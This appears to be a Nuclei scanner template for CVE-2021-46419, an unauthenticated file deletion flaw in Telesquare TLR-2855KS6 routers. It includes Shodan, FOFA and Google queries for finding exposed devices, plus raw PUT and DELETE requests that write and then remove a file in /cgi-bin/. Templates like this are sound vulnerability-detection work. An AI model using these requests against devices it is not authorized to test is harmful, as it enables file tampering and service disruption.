52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2021-46419
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info:
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name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
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author: DhiyaneshDK
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severity: critical
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description: |
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An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
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reference:
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- https://nvd.nist.gov/vuln/detail/cve-2021-46419
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- http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
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cvss-score: 9.1
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cve-id: CVE-2021-46419
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epss-score: 0.36968
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epss-percentile: 0.97176
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cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: telesquare
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product: tlr-2855ks6_firmware
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shodan-query: title:"Login to TLR-2855KS6"
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fofa-query: product=="TELESQUARE-TLR-2855KS6"
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google-query: intitle:"login to tlr-2855ks6"
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tags: packetstorm,cve,cve2021,telesquare,intrusive
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variables:
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filename: "{{rand_base(6)}}"
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http:
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- raw:
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- |
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PUT /cgi-bin/{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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DNT: 1
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{{randstr}}
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- |
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DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
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Host: {{Hostname}}
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DNT: 1
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'status_code_1 == 201 && status_code_2 == 204'
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- 'contains(server_1, "lighttpd")'
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condition: and
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# digest: 4b0a00483046022100836f459243054ed4599e1a550348930f61760c782d08b4b777531b594cadf30602210092fc02dd2d5f6bdb18b684a79cbc91bd12d4c85f4bdb4a080e9c8f46d9ebdd0b:922c64590222798bb761d5b6d8e72950 |